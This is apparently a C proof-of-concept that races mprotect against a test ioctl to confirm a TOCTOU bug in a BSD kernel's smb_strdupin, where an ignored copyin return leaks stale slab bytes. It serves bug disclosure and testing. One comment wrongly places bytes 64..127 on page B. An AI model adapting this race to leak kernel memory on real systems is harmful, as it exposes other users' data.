/*
 * DF-0716 — userspace race driver for the smb_strdupin TOCTOU.
 *
 * The bug (sys/netproto/smb/smb_subr.c:113-131):
 *   smb_strdupin reads the user string byte-by-byte (length loop, checks
 *   copyin return), then kmalloc(len, M_SMBSTR, M_WAITOK) [NOT zeroed],
 *   then copyin(s, p, len) at :129 — return value IGNORED.
 *
 * TOCTOU: a racing thread toggles a page within the string between the
 * length loop and the bulk copyin.  If the bulk copyin faults, p is
 * partially filled with stale slab contents (freed M_SMBSTR data:
 * 0xdeadc0de on INVARIANTS kernels).  The non-NULL p is returned and used
 * as t2p->t_name — sent to the SMB server via TRANS2.
 *
 * This driver uses /dev/strdup_test (the test harness module) to call
 * smb_strdupin directly, bypassing the SMB protocol.  A racing thread
 * rapidly toggles page B (PROT_READ|PROT_WRITE <-> PROT_NONE) while the
 * main thread calls the ioctl in a tight loop.  When the toggle lands in
 * the window between the length loop and the bulk copyin:
 *   - length loop succeeded (page B was readable) → len computed
 *   - bulk copyin faults (page B is PROT_NONE) → return ignored, p returned
 *   - p has stale slab bytes where page B's data should be
 *
 * Build:  cc -o strdup_race strdup_race.c -lpthread
 * Run:    ./strdup_race [iterations]   (default 100000)
 *         (requires /dev/strdup_test — kldload strdup_test.ko after smbfs.ko)
 */

#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* Must match the kernel module's struct + ioctl */
struct strdup_test_args {
	char	*user_ptr;
	int	 maxlen;
	char	*result_buf;
	int	 result_buflen;
	int	 result_is_null;
};
#define STRDUP_TEST_IOCTL	_IOWR('S', 1, struct strdup_test_args)

#define MAXLEN		128
#define PAGE_SIZE	4096

static volatile int g_racing = 1;
static char *g_page_b = NULL;

static void *
racer_thread(void *arg)
{
	(void)arg;
	/* Rapidly toggle page B between readable and unreadable */
	while (g_racing) {
		mprotect(g_page_b, PAGE_SIZE, PROT_NONE);
		mprotect(g_page_b, PAGE_SIZE, PROT_READ | PROT_WRITE);
	}
	return NULL;
}

int
main(int argc, char **argv)
{
	int fd, rc, i, iterations;
	char *buf;
	char result[MAXLEN];
	struct strdup_test_args args;
	pthread_t racer;
	unsigned long null_count = 0, ok_count = 0, race_won = 0;
	int expected[MAXLEN];

	iterations = (argc > 1) ? atoi(argv[1]) : 100000;

	fd = open("/dev/strdup_test", O_RDWR);
	if (fd < 0) {
		perror("open /dev/strdup_test (kldload strdup_test after smbfs)");
		return 2;
	}

	/*
	 * Set up a 2-page buffer.  Place the string so that 127 bytes are on
	 * page A and the NUL terminator (byte 127) is on page B.
	 *   page A: buf[0 .. PAGE_SIZE-1]
	 *   page B: buf[PAGE_SIZE .. 2*PAGE_SIZE-1]
	 *   string starts at buf[PAGE_SIZE - 127]
	 *   bytes 0..126  = 'A' (page A)
	 *   byte  127     = '\0' (page B, at buf[PAGE_SIZE])
	 */
	buf = mmap(NULL, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE,
		   MAP_PRIVATE | MAP_ANON, -1, 0);
	if (buf == MAP_FAILED) {
		perror("mmap");
		return 2;
	}
	g_page_b = buf + PAGE_SIZE;

	/* Fill the string: 127 'A's + NUL, spanning the page boundary */
	memset(buf + PAGE_SIZE - 127, 'A', 127);
	buf[PAGE_SIZE] = '\0';		/* NUL on page B */

	/* Expected result bytes (what a correct copyin would produce) */
	memset(expected, 'A', 127);
	expected[127] = 0;

	/* Start the racing thread */
	pthread_create(&racer, NULL, racer_thread, NULL);

	printf("DF-0716: racing smb_strdupin for %d iterations...\n", iterations);
	printf("  string: 127 'A's on page A + NUL on page B (page boundary)\n");
	printf("  racer:   toggling page B PROT_NONE <-> PROT_READ|PROT_WRITE\n");
	fflush(stdout);

	for (i = 0; i < iterations; i++) {
		args.user_ptr = buf + PAGE_SIZE - 127;
		args.maxlen = MAXLEN;
		args.result_buf = result;
		args.result_buflen = MAXLEN;
		args.result_is_null = -1;

		rc = ioctl(fd, STRDUP_TEST_IOCTL, &args);
		if (rc < 0) {
			/* ioctl itself failed (shouldn't happen) */
			if (i == 0)
				perror("ioctl");
			continue;
		}

		if (args.result_is_null) {
			/* smb_strdupin returned NULL — length loop caught
			 * the page fault (normal error path, NOT the bug) */
			null_count++;
			continue;
		}

		/* Non-NULL result — check if the bytes on page B are correct
		 * or stale (race won = THE BUG) */
		/* Bytes 0..126 should be 'A', byte 127 should be '\0' */
		if (result[127] == 0 &&
		    memcmp(result, expected, 127) == 0) {
			/* Correct — no race (bulk copyin succeeded) */
			ok_count++;
		} else {
			/* RACE WON — bulk copyin faulted, bytes 64..127
			 * (page B portion) are stale slab contents */
			race_won++;
			if (race_won <= 10) {
				int j;
				printf("  [RACE WON iter %d] result bytes "
				       "(hex, first 128):\n    ", i);
				for (j = 0; j < 128; j++) {
					printf("%02x", (unsigned char)result[j]);
					if ((j + 1) % 32 == 0)
						printf("\n    ");
				}
				printf("\n");
				printf("    expected: 41*127 + 00, got stale "
				       "at byte %d onward\n",
				       (result[127] != 0) ? 127 :
				       (memcmp(result, expected, 127) == 0) ?
				       127 : 0);
			}
		}
	}

	g_racing = 0;
	pthread_join(racer, NULL);

	printf("DF-0716: done.\n");
	printf("  iterations:  %d\n", iterations);
	printf("  NULL (length loop caught fault): %lu\n", null_count);
	printf("  OK (no race, correct string):    %lu\n", ok_count);
	printf("  RACE WON (stale bytes returned):  %lu\n", race_won);
	if (race_won > 0)
		printf("  ==> BUG CONFIRMED: copyin return "
		       "ignored, stale slab contents returned\n");
	else
		printf("  (race not won in %d iterations — "
		       "code defect confirmed by source trace)\n", iterations);

	close(fd);
	munmap(buf, 2 * PAGE_SIZE);
	return (race_won > 0) ? 0 : 1;
}
